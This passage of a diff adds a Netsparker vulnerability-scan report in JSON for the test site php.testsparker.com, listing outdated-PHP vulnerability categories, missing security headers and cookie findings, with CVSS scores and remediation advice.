Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Use After Free Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP DEPRECATED: Code Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Data Processing Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Data Processing Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Data Processing Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Cryptographic Issues Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Cryptographic Issues Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Low", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Low", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Low", + "Title": "PHP Improper Link Resolution Before File Access ('Link Following') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Control of Generation of Code ('Code Injection') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Access Control Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Missing Release of Resource after Effective Lifetime Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Uncontrolled Resource Consumption Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "Low", + "Title": "PHP Improper Link Resolution Before File Access ('Link Following') Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Incorrect Conversion between Numeric Types Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Loop with Unreachable Exit Condition ('Infinite Loop') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Uncontrolled Resource Consumption Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Deserialization of Untrusted Data Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Out-of-bounds Write Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Check for Unusual or Exceptional Conditions Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Use After Free Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Integer Overflow or Wraparound Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Control of Generation of Code ('Code Injection') Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Out-of-bounds Write Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Deserialization of Untrusted Data Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Allocation of Resources Without Limits or Throttling Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Integer Overflow or Wraparound Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Use After Free Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Double Free Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Integer Overflow or Wraparound Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Use After Free Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Out-of-bounds Write Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Deserialization of Untrusted Data Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Out-of-bounds Write Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Use After Free Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Integer Overflow or Wraparound Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Integer Overflow or Wraparound Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Integer Overflow or Wraparound Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Integer Overflow or Wraparound Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Use After Free Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Out-of-bounds Read Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Server-Side Request Forgery (SSRF) Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Integer Overflow or Wraparound Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Use After Free Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Use After Free Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Integer Overflow or Wraparound Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Use After Free Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Access Control Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Numeric Errors Vulnerability" + } + ], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "Out-of-date Version (PHP)", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "
Please upgrade your installation of PHP to the latest stable version.
", + "RemedyReferences": "
", + "Severity": "Critical", + "State": "Present", + "Type": "PhpOutOfDate", + "Url": "http://php.testsparker.com/" + }, + { + "Certainty": 90, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "103", + "Cvss": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "4.3" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "4.1" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "4.1" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:H/RL:O/RC:C" + }, + "Cvss31": null, + "Cwe": "693", + "Hipaa": "", + "Owasp": "A5", + "OwaspProactiveControls": "", + "Pci32": "", + "Wasc": "" + }, + "Confirmed": false, + "Description": "

Netsparker Enterprise detected a missing X-Frame-Options header which means that this website could be at risk of a clickjacking attack.

\n

The X-Frame-Options HTTP header field indicates a policy that specifies whether the browser should render the transmitted resource within a frame or an iframe. Servers can declare this policy in the header of their HTTP responses to prevent clickjacking attacks, which ensures that their content is not embedded into other pages or frames.

", + "ExploitationSkills": "", + "ExternalReferences": "
", + "ExtraInformation": [ + { + "Name": "Page Type", + "Value": "Other" + } + ], + "FirstSeenDate": "16/06/2021 12:30 PM", + "HttpRequest": { + "Content": "GET / HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 136\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:49:09 GMT\r\n\r\n\n\n\n\n", + "Duration": 45.9707, + "StatusCode": 200 + }, + "LookupId": "4f5de955-5e9d-4746-3fc0-ad490209f0e6", + "Impact": "
\n

Clickjacking is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on a framed page when they were intending to click on the top level page. Thus, the attacker is \"hijacking\" clicks meant for their page and routing them to other another page, most likely owned by another application, domain, or both.

\n

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker.

\n
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "Missing X-Frame-Options Header", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "
\n\n
", + "RemedyReferences": "
", + "Severity": "Medium", + "State": "Present", + "Type": "MissingXFrameOptionsHeader", + "Url": "http://php.testsparker.com/" + }, + { + "Certainty": 90, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "", + "Cvss": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "4.3" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "4.1" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "4.1" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N/E:H/RL:O/RC:C" + }, + "Cvss31": null, + "Cwe": "16", + "Hipaa": "164.308(a)", + "Owasp": "", + "OwaspProactiveControls": "", + "Pci32": "", + "Wasc": "15" + }, + "Confirmed": false, + "Description": "

Netsparker Enterprise detected a missing X-XSS-Protection header which means that this website could be at risk of a Cross-site Scripting (XSS) attacks.

", + "ExploitationSkills": "", + "ExternalReferences": "
", + "ExtraInformation": [ + { + "Name": "Page Type", + "Value": "Other" + } + ], + "FirstSeenDate": "15/06/2021 05:45 PM", + "HttpRequest": { + "Content": "GET / HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 136\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:49:09 GMT\r\n\r\n\n\n\n\n", + "Duration": 45.9707, + "StatusCode": 200 + }, + "LookupId": "f4fdd62e-a869-499f-b70d-ad48032ad260", + "Impact": "
This issue is reported as additional information only. There is no direct impact arising from this issue.
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "Missing X-XSS-Protection Header", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "
Add the X-XSS-Protection header with a value of \"1; mode= block\".\n\n
", + "RemedyReferences": "", + "Severity": "Medium", + "State": "Present", + "Type": "MissingXssProtectionHeader", + "Url": "http://php.testsparker.com/" + }, + { + "Certainty": 100, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "", + "Cvss": null, + "Cvss31": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "5.7" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "5.5" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "5.5" + }, + "Vector": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C" + }, + "Cwe": "16", + "Hipaa": "", + "Owasp": "", + "OwaspProactiveControls": "", + "Pci32": "", + "Wasc": "15" + }, + "Confirmed": true, + "Description": "

Cookies are typically sent to third parties in cross origin requests. This can be abused to do CSRF attacks. Recently a new cookie attribute named SameSite was proposed to disable third-party usage for some cookies, to prevent CSRF attacks.

\n

Same-site cookies allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain.

", + "ExploitationSkills": "", + "ExternalReferences": "
